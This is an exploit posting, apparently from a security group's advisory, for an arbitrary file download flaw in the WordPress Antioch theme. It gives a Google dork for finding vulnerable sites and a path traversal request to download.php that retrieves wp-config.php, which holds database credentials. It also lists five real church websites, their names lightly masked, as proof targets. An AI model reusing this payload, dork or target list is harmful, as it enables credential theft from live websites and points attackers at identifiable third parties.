|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| |-------------------------------------------------------------------------| |[*] Exploit Title: Wordpress Antioch Theme Arbitrary File Download Vulnerability | |[*] Google Dork: inurl:wp-content/themes/antioch | |[*] Date : Date: 2014-09-07 | |[*] Exploit Author: Ashiyane Digital Security Team | |[*] Vendor Homepage : http://churchthemes.net/themes/antioch | |[*] Tested on: Windows 7 | |-------------------------------------------------------------------------| | |[*] Location : [localhost]/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php | |-------------------------------------------------------------------------| |[*] Proof: | |[*] http://gospelrevXolutionchurch.com/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php | |[*] http://fbchX.org/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php | |[*] http://fbXch.org/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php | |[*] http://www.stpeXterssouthborough.co.uk/beta/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php | |[*] http://kingdomfiXrerevival.com/main/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php | | |-------------------------------------------------------------------------| |[*] Discovered By : ACC3SS |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|